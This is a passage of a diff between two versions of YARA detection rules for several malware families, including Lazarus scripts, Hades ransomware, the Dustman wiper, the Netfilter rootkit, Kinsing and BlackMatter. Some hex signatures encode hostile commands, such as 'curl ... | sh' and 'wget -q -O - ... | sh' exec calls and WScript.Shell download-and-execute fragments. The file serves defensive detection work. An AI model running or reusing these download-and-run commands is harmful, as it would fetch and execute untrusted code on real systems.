25 03 00 00 80 79 07 48 83 c8 fc 83 c0 01 74 dd e9 32 01 00 00 25 01 00 00 80 79 07 48 83 c8 fe 83 c0 01 74 47 b8 02 00 00 00 2b } + $seq6 = { 83 3b 00 c7 45 94 00 00 00 00 0f 86 57 02 00 00 8b 35 b4 21 41 00 8d 4b 14 8b 3d c8 21 41 00 8b 1d 9c 21 41 00 89 4d 90 c7 45 98 7f 00 00 00 89 b5 7c ff ff ff 89 bd 78 ff ff ff 89 5d 9c 0f 1f 40 00 8b 11 8d 45 d0 89 55 cc b9 2c 00 00 00 0f 1f 00 c6 00 00 8d 40 01 83 e9 01 75 f5 52 ff d6 8b f0 ff d7 c6 45 b4 00 bf 7f 00 00 00 c6 45 b5 42 c6 45 b6 31 c6 45 b7 2a c6 45 b8 0b c6 45 b9 63 8a 4d b5 80 7d b4 00 75 28 33 c9 66 0f 1f 44 00 00 8a 44 0d b5 0f b6 c0 83 e8 63 6b c0 25 99 f7 ff 8d 42 7f 99 f7 ff 88 54 0d b5 41 83 f9 05 72 e0 8d 45 b5 50 56 ff d3 c6 45 a0 00 c6 45 a1 51 c6 45 a2 1f c6 45 a3 2b c6 45 a4 44 c6 45 a5 51 c6 45 a6 12 c6 45 a7 45 c6 45 a8 44 c6 45 a9 26 89 45 84 8a 45 a1 80 7d a0 00 75 27 33 c9 0f 1f 00 8a 44 0d a1 0f b6 c0 83 e8 26 8d 04 80 03 c0 99 f7 ff 8d 42 7f 99 f7 ff 88 54 0d a1 41 83 f9 09 72 de 8d 45 a1 50 56 ff d3 c6 45 bc 00 8b d8 c6 45 bd 42 c6 45 be 19 c6 45 bf 46 c6 45 c0 59 8a 4d bd 80 7d bc 00 89 5d 88 75 2c 33 ff 8d 5f 7f 8a 44 3d bd 0f b6 c8 83 e9 59 8b c1 c1 e0 05 2b c1 99 f7 fb 8d 42 7f 99 f7 fb 88 54 3d bd 47 83 ff 04 72 dc 8b 5d 88 8d 45 bd 50 56 ff 55 9c c6 45 ac 00 8b f8 c6 45 ad 76 c6 45 ae 30 c6 45 af 06 c6 45 b0 21 c6 45 b1 2a 8a 4d ad 80 7d ac 00 75 24 33 c9 8a 44 0d ad 0f b6 c0 83 e8 2a 8d 04 c0 99 f7 7d 98 8d 42 7f 99 f7 7d 98 88 54 0d ad 41 83 f9 05 72 de 8d 45 ad 50 56 ff 55 9c } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 1 of ( $header* ) and 3 of ( $s* ) and 4 of ( $dbg* ) + uint16( 0 ) == 0x5a4d and filesize > 50KB and 5 of ( $seq* ) } -rule ARKBIRD_SOLG_APT_Lazarus_EPS_July_2020_1 : FILE +rule ARKBIRD_SOLG_Ran_Loader_Hades_Dec_2020_1 : FILE { meta: - description = " Detected Lazarus EPS script for download and execute the payload in base 64" + description = "Detect the loader used by Hades ransomware for load the final implant in memory" author = "Arkbird_SOLG" - id = "244ef018-bc7b-5e10-bf65-b52fdb5ad403" - date = "2020-07-28" - modified = "2020-07-28" - reference = "https://twitter.com/spider_girl22/status/1287952503280082944" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-28/Lazarus/APT_Lazarus_EPS_July_2020_1.yar#L3-L30" + id = "d48d3a2b-3f0f-5da2-aba9-db2366489a6c" + date = "2020-12-27" + modified = "2021-01-01" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-01/Hades/Ran_Loader_Hades_Dec_2020_1.yar#L2-L24" license_url = "N/A" - logic_hash = "0fbd6ac10a31cc9a571e42f8696480336cd350e56ba2ffafb386f066fd53c552" - score = 75 - quality = 45 + logic_hash = "cfa0f8acd3c526f7f4889794f7c38547a88031bb615a03ad5c1542c61bc0eecd" + score = 50 + quality = 71 tags = "FILE" - hash1 = "152c620980f0fc20a6eade0f5b726b98fc28392d84ce386a5fc1b0877ef446d7" + hash1 = "0dfcf4d5f66310de87c2e422d7804e66279fe3e3cd6a27723225aecf214e9b00" + hash2 = "ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d" + level = "Experimental" strings: - $s1 = { 63 64 20 2F 64 20 22 25 61 70 70 64 61 74 61 25 5C 4D 69 63 72 6F 73 6F 66 74 5C 49 6E 74 65 72 6E 65 74 20 45 78 70 6C 6F 72 65 72 22 } - $s2 = { 46 75 6E 63 74 69 6F 6E 20 42 61 73 65 36 34 44 65 63 6F 64 65 28 42 79 56 61 6C 20 76 43 6F 64 65 29 } - $s3 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 4D 73 78 6D 6C 32 2E 44 4F 4D 44 6F 63 75 6D 65 6E 74 2E 33 2E 30 22 29 } - $s4 = { 46 75 6E 63 74 69 6F 6E 20 42 69 6E 61 72 79 54 6F 53 74 72 69 6E 67 28 42 69 6E 61 72 79 29 } - $s5 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 41 44 4F 44 42 2E 53 74 72 65 61 6D 22 29 } - $s6 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 57 53 63 72 69 70 74 2E 53 68 65 6C 6C 22 29 } - $s7 = { 63 72 65 61 74 65 6F 62 6A 65 63 74 28 22 4D 69 63 72 6F 73 6F 66 74 2E 58 4D 4C 48 54 54 50 22 29 } - $s8 = { 2E 45 6E 76 69 72 6F 6E 6D 65 6E 74 28 22 50 52 4F 43 45 53 53 22 29 28 22 50 72 6F 67 72 61 6D 57 36 34 33 32 22 29 20 3D 20 22 22 } - $s9 = { 3A 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 53 63 72 69 70 74 69 6E 67 2E 46 69 6C 65 53 79 73 74 65 6D 4F 62 6A 65 63 74 22 29 2E 44 65 6C 65 74 65 66 46 69 6C 65 20 57 73 63 72 69 70 74 2E 53 63 72 69 70 74 46 75 6C 6C 4E 61 6D 65 2C 20 54 72 75 65 3E 22 } - $s10 = { 20 65 63 68 6F 20 73 74 61 72 74 20 2F 42 20 2F 6D 69 6E 20 63 73 63 72 69 70 74 2E 65 78 65 } - $s11 = { 22 5E 26 64 65 6C 20 22 25 7E 66 30 22 3E } - $s12 = { 2E 52 75 6E 20 22 72 65 67 73 76 72 33 32 2E 65 78 65 20 2F 73 20 } - $s13 = { 2E 54 79 70 65 20 3D 20 31 3A 2E 4F 70 65 6E 3A 2E 57 72 69 74 65 20 42 69 6E 61 72 79 3A 2E 50 6F 73 69 74 69 6F 6E 20 3D 20 30 3A 2E 54 79 70 65 20 3D 20 32 3A 2E 43 68 61 72 53 65 74 20 3D 20 22 75 73 2D 61 73 63 69 69 22 } - $s14 = { 2E 4F 70 65 6E 20 22 47 45 54 22 2C 20 } - $s15 = { 73 74 61 72 74 20 2F 42 20 2F 6D 69 6E 20 } - $URL1 = { 22 68 74 74 70 3A 2F 2F 74 ?? ?? ?? } - $URL2 = { 22 68 74 74 70 73 3A 2F 2F 74 ?? ?? ?? } + $seq1 = { 48 83 ec 58 8b 0d 9e aa 1c 00 ba 01 14 00 00 ff 15 93 9a 1c 00 48 85 c0 74 07 33 c0 e9 c1 3b 00 00 48 8b 05 58 99 1c 00 48 89 44 24 30 c7 44 24 3c 2c 01 00 00 c7 44 24 38 01 00 00 00 33 c9 ff 15 cb 99 1c 00 48 89 05 74 aa 1c 00 48 8b 05 6d aa 1c 00 48 63 48 3c 48 8b 05 62 aa 1c 00 48 03 c1 48 89 05 88 aa 1c 00 48 8d 44 24 3c 48 89 44 24 28 48 8d 05 a7 aa 1c 00 48 89 44 24 20 4c 8d 4c 24 38 45 33 c0 48 8d 15 53 aa 1c 00 48 8b 0d e4 ac 1c 00 ff 54 24 30 48 85 c0 74 05 e8 5e ff ff ff 48 8d 05 2d 3d 00 00 48 89 05 38 aa 1c 00 48 8b 05 31 aa 1c 00 } + $seq2 = { 89 54 24 10 89 4c 24 08 48 83 ec 18 8b 44 24 20 89 04 24 8b 44 24 28 89 44 24 04 8b 44 24 04 39 04 24 73 0f c7 44 24 20 04 00 00 00 8b 04 24 eb 0e eb 0c c7 44 24 20 35 00 00 00 8b 44 24 04 48 83 c4 18 } + $seq3 = { 48 8b 05 c1 ?? 1c 00 48 89 05 32 ?? 1c 00 } + $s1 = "111111111\\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}" fullword wide + $s2 = "_VERSION_INFO" fullword wide + $s3 = "VkKeyScanW" fullword ascii + $s4 = { 53 43 61 4d 69 72 } condition: - uint16( 0 ) == 0x33c9 and filesize < 3KB and ( 1 of ( $URL* ) ) and ( 12 of ( $s* ) ) + uint16( 0 ) == 0x5a4d and filesize > 300KB and 2 of ( $seq* ) and 3 of ( $s* ) } -rule ARKBIRD_SOLG_APT_APT_C_61_Dec_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT34_Dustman_Apr_2021_1 : FILE { meta: - description = "Detect similiar structures used in the APT-C-61 maldocs" + description = "Detect the Installer of Dustman wiper used by APT34" author = "Arkbird_SOLG" - id = "48054d32-6613-5a54-b19c-8e9b8f747c14" - date = "2021-12-13" - modified = "2021-12-14" + id = "071063f5-d2a4-5666-a8c4-283c02061f6d" + date = "2021-04-28" + modified = "2021-04-30" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-13/APT_APT_C_61_Dec_2021_1.yara#L1-L20" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-29/APT34/APT_APT34_Dustman_Apr_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "be742a0ebc53f09872d5231cf367bb1e3ae04c1a70ce94610b6597e426eeb389" + logic_hash = "44e68fa21c1d6258bc9c0dcdc9cc531a15081122c90b23607bcfda716471aeb6" score = 75 - quality = 69 + quality = 75 tags = "FILE" - hash1 = "2cc0f8a85df2b2b0dd4c6942125bf82e647e9ac7bb91467ac5c480cf5e1dd4ff" - hash2 = "193c921f7ab12c0066014ffad37a98ee57ecd5101dae2ddeb5e39200eb704431" - hash3 = "4ec021cc3dbb2b0de7313e41063026e3ef4777baf4dec2bdad7cd2d515bf0fe2" + hash1 = "a9397eb9e95087db7e03239c689776d56c1450d685568564acd90e1532c78882" tlp = "white" - adversary = "APT-C-61" + adversary = "APT34" strings: - $s1 = { 3e 3c 77 3a 69 6e 73 74 72 54 65 78 74 3e 53 45 54 20 [1-4] 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e } - $s2 = { 3c 2f 77 3a 72 3e 3c 77 3a 66 6c 64 53 69 6d 70 6c 65 20 77 3a 69 6e 73 74 72 3d 22 20 20 51 55 4f 54 45 20 20 } - $s3 = { 3c 77 3a 69 6e 73 74 72 54 65 78 74 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 20 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e } - $s4 = { 3c 77 3a 72 3e 3c 77 3a 69 6e 73 74 72 54 65 78 74 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 20 44 44 45 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e 3c 2f 77 3a 72 3e } + $s1 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 00 00 00 00 00 2f 63 20 61 67 65 6e 74 2e 65 78 65 20 41 00 00 44 00 6f 00 77 00 6e 00 20 00 57 00 69 00 74 00 68 00 20 00 42 00 69 00 6e 00 20 00 53 00 61 00 6c 00 6d 00 61 00 6e 00 00 00 00 00 5c 00 } + $s2 = "\\assistant.sys" fullword wide + $s3 = { 61 00 67 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 00 00 00 00 00 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4f 00 72 00 61 00 63 00 6c 00 65 00 5c 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 42 00 6f 00 78 00 00 00 00 00 54 68 65 20 4d 61 67 69 63 20 57 6f 72 64 21 00 56 00 42 00 6f 00 78 00 44 00 72 00 76 00 00 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 00 00 56 00 42 00 6f 00 78 00 55 00 53 00 42 00 4d 00 6f 00 6e 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 41 00 64 00 70 00 00 00 00 00 56 00 42 00 6f 00 78 00 4e 00 65 00 74 00 4c 00 77 00 66 } + $s4 = { 5c 00 5c 00 2e 00 5c 00 25 00 73 } + $s5 = { 68 54 00 00 00 68 00 00 00 00 68 80 69 40 00 e8 f4 0f 00 00 83 c4 0c 68 00 00 00 00 e8 ed 0f 00 00 a3 84 69 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 e8 da 0f 00 00 a3 80 69 40 00 e8 fc 2f 00 00 e8 7d 2c 00 00 e8 7a 18 00 00 e8 1d 12 00 00 e8 40 2d 00 00 68 00 00 00 00 e8 78 2f 00 00 a3 8c 69 40 00 68 00 00 00 00 e8 8d 2f 00 00 a3 90 69 40 00 c7 05 94 69 40 00 5a 00 00 00 c7 05 98 69 40 00 14 00 00 00 8b 1d 8c 69 40 00 2b 1d 94 69 40 00 83 c3 ea 89 1d 9c 69 40 00 8b 1d 90 69 40 00 2b 1d 98 69 40 00 83 c3 cc 89 1d a0 69 40 00 68 00 00 c8 00 68 18 60 40 00 ff 35 98 69 40 00 ff 35 94 69 40 00 ff 35 a0 69 40 00 ff 35 9c 69 40 00 68 00 00 00 } + $s6 = "Release\\Dustman.pdb" fullword ascii condition: - uint16( 0 ) == 0x4b50 and filesize > 20KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 50KB and 4 of them } -rule ARKBIRD_SOLG_Loader_JAVA_Kinsing_Aug_2020_Variant_A_1 : FILE +rule ARKBIRD_SOLG_MAL_Netfilter_May_2021_1 : FILE { meta: - description = "Detect Kinsing Variant A" + description = "Detect Netfilter rootkit" author = "Arkbird_SOLG" - id = "470fd4a6-faba-52b5-8ffa-5ac33fb607a0" - date = "2020-08-28" - modified = "2020-08-29" - reference = "https://twitter.com/JAMESWT_MHT/status/1299222198574632961" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-28/Loader_JAVA_Kinsing_Aug_2020_1.yar#L2-L30" + id = "da333ed8-8cd3-5ae4-bce5-a43a227fdee3" + date = "2021-06-18" + modified = "2021-06-21" + reference = "https://twitter.com/struppigel/status/1405483373280235520" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_May_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "a9654b67ca6fb5de23d385707f01196d6d1c85e527d2bdbe312a2b2fcf998dc0" + logic_hash = "f219981af907f74e4d95f768d99b7fd877c8bfb00587d198a4b0e2c521c744e1" score = 75 - quality = 67 + quality = 73 tags = "FILE" - hash1 = "22063638b9f05870e14110ccab9e07d744204360b184cfec0075f9fd27e08488" - hash2 = "248dd35d069d6b106b7528e41f95cd8cef0140fbb60808aa51c99ac117cf3318" - hash3 = "6ec5b8ea86d0af908182d6afc63c85a817e0612dba6e5e4b126b5639ab048b16" - hash4 = "b82d9e0ea2b6139438ce0b805fb03c3ae89ada9d4fdd7722562e6075f706048c" + hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0" + hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870" + hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe" + tlp = "White" + adversary = "Chinese APT Group" strings: - $ClassCode1 = { 4c 69 66 45 78 70 2e 6a 61 76 61 0c 00 3f 00 40 } - $ClassCode2 = "java/lang/StringBuilder" fullword ascii - $ClassCode3 = "java/net/URL" fullword ascii - $ClassCode4 = "java/net/URLConnection" fullword ascii - $ClassCode5 = { 6a 61 76 61 2f 6c 61 6e 67 2f 50 72 6f 63 65 73 73 42 75 69 6c 64 65 72 01 00 02 2e 2f } - $Com1 = { 52 75 6E 74 69 6D 65 2E 67 65 74 52 75 6E 74 69 6D 65 28 29 2E 65 78 65 63 28 6E 65 77 20 53 74 72 69 6E 67 5B 5D 20 7B 20 22 2F 62 69 6E 2F 62 61 73 68 22 2C 20 22 2D 63 22 2C 20 22 63 75 72 6C 20 22 20 2B 20 73 20 2B 20 22 7C 73 68 22 20 7D } - $Com2 = { 52 75 6E 74 69 6D 65 2E 67 65 74 52 75 6E 74 69 6D 65 28 29 2E 65 78 65 63 28 6E 65 77 20 53 74 72 69 6E 67 5B 5D 20 7B 20 22 2F 62 69 6E 2F 62 61 73 68 22 2C 20 22 2D 63 22 2C 20 22 77 67 65 74 20 2D 71 20 2D 4F 20 2D 20 22 20 2B 20 73 20 2B 20 22 7C 73 68 22 20 7D } - $Com3 = "chmod +x " fullword ascii - $Com4 = { 53 4b 4c 01 00 02 6c 66 } - $s1 = "User-Agent" fullword ascii - $s2 = "kinsing" fullword ascii - $s3 = { 6f 73 2e 6e 61 6d 65 } - $s4 = "getAbsolutePath" fullword ascii - $s5 = { 6f 70 65 6e 43 6f 6e 6e 65 63 74 69 6f 6e } + $seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 } + $seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 } + $seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d } + $seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b } + $s1 = "%sc=%s" fullword ascii + $s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 } + $s3 = "NETIO.SYS" fullword ascii condition: - filesize < 1KB and 4 of ( $ClassCode* ) and 3 of ( $Com* ) and 3 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 20KB and ( 3 of ( $seq* ) or 2 of ( $s* ) ) } -rule ARKBIRD_SOLG_Loader_JAVA_Kinsing_Aug_2020_Variant_B_1 : FILE +rule ARKBIRD_SOLG_MAL_Netfilter_Dropper_Jun_2021_1 : FILE { meta: - description = "Detect Kinsing Variant B" + description = "Detect the dropper of Netfilter rootkit" author = "Arkbird_SOLG" - id = "7e0f9826-806c-5801-aab5-d2a8dba4e206" - date = "2020-08-28" - modified = "2020-08-29" - reference = "https://twitter.com/JAMESWT_MHT/status/1299222198574632961" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-28/Loader_JAVA_Kinsing_Aug_2020_1.yar#L32-L52" + id = "5e67c99c-6b08-5190-9c8a-55086c20923e" + date = "2020-06-18" + modified = "2021-06-18" + reference = "https://twitter.com/struppigel/status/1405483373280235520" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_Dropper_Jun_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "5862d02b4e57024aa1c00b0a10ac9ee1a733890cf7d5b9ec7586f0506af113fc" + logic_hash = "66e96304e097a0f6cd99cf77b20f61b8a0bcceaf8685a336c039a80947a08f78" score = 75 quality = 75 tags = "FILE" - hash1 = "e1471e8f9c1aa1457f819c0565a3444c53d3ec5fadf9f52ae988fde8e2d3a960" - hash2 = "e70ea87d00567d33e20ed8649ef532eda966a8b5b1e83ea19728528d991eaaa0" + hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac" + hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9" + hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540" + tlp = "White" + adversary = "Chinese APT Group" strings: - $ClassCode1 = { 4c 69 66 45 78 70 2e 6a 61 76 61 0c 00 3f 00 40 } - $ClassCode2 = "java/lang/StringBuilder" fullword ascii - $ClassCode3 = "java/net/URL" fullword ascii - $ClassCode4 = { 6a 61 76 61 2f 6c 61 6e 67 2f 50 72 6f 63 65 73 73 42 75 69 6c 64 65 72 01 00 02 2e 2f } - $Com1 = "chmod +x " fullword ascii - $Com2 = { 53 4b 4c 01 00 02 6c 66 } - $s1 = "kinsing" fullword ascii - $s2 = "getAbsolutePath" fullword ascii + $seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 } + $seq2 = { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 } + $s1 = "%s\\netfilter.sys" fullword ascii + $s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii + $s3 = "\\\\.\\netfilter" fullword ascii condition: - filesize < 1KB and 3 of ( $ClassCode* ) and 1 of ( $Com* ) and 2 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 6KB and ( all of ( $seq* ) or 2 of ( $s* ) ) } -rule ARKBIRD_SOLG_MAL_Windealer_Oct_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Blackmatter_Aug_2021_1 : FILE { meta: - description = "Detect WinDealer implant" + description = "Detect BlackMatter ransomware" author = "Arkbird_SOLG" - id = "7ffece8a-b56a-5893-a135-3001c0327f66" - date = "2021-10-30" - modified = "2021-10-31" - reference = "https://blogs.jpcert.or.jp/en/2021/10/windealer.html" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-30/WinDealer/MAL_WinDealer_Oct_2021_1.yara#L1-L19" + id = "eb308cde-af92-5b34-b256-88009f90810f" + date = "2021-08-02" + modified = "2021-08-02" + reference = "https://twitter.com/abuse_ch/status/1421834305416933376" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-01/Blackmatter/RAN_BlackMatter_Aug_2021_1.yara#L1-L23" license_url = "N/A" - logic_hash = "b6211274a0ffa55723d3c34763540278197507b4bd4b853249e16501a3aa5acb" - score = 75 + logic_hash = "ff158ce977eb10f36c9e8a032dd3880fcd5ecc09e9cc07cd27b98bbce5661d75" + score = 50 quality = 71 tags = "FILE" - hash1 = "1e9fc7f32bd5522dd0222932eb9f1d8bd0a2e132c7b46cfcc622ad97831e6128" - hash2 = "b9f526eea625eec1ddab25a0fc9bd847f37c9189750499c446471b7a52204d5a" + hash1 = "22d7d67c3af10b1a37f277ebabe2d1eb4fd25afbd6437d4377400e148bcc08d6" + hash2 = "7f6dd0ca03f04b64024e86a72a6d7cfab6abccc2173b85896fc4b431990a5984" + level = "Experimental" tlp = "white" - adversary = "LuoYu" + adversary = "-" strings: - $s1 = { 8b ec 81 ec 64 03 00 00 53 56 33 db 6a 64 8d 45 9c 53 50 e8 [2] 00 00 be 00 01 00 00 8d 85 9c fc ff ff 56 53 50 e8 [2] 00 00 56 8d 85 9c fd ff ff 53 50 e8 [2] 00 00 56 8d 85 9c fe ff ff 53 50 e8 [2] 00 00 83 c4 30 8d 45 9c 6a 64 50 ff 15 [2] 41 00 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 38 9d 9c fe ff ff 5e 5b 75 20 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 68 [2] 41 00 ff 75 08 ff 15 [2] 41 00 83 c4 14 6a } - $s2 = { 8b ec b8 40 1c 00 00 e8 [2] 00 00 56 57 33 ff 68 [2] 41 00 89 7d f8 ff 15 [2] 41 00 8b f0 6a 32 8d 45 c0 57 50 e8 [2] 00 00 83 c4 10 3b f7 74 1c 6a 5c 56 ff 15 [2] 41 00 59 3b c7 59 74 0d 40 50 8d 45 c0 50 e8 [2] 00 00 59 59 be 00 04 00 00 8d 85 c0 f7 ff ff 56 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 fb fd ff ff 83 c4 14 39 7d fc 75 24 56 8d 85 c0 f7 ff ff 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 ?? fc ff ff 83 c4 14 56 8d 85 c0 fb ff ff 57 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 83 c4 14 83 7d fc 0a 7e 3e 83 f8 0a 7e 6d 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 f7 ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 4d fd ff ff 83 c4 1c 89 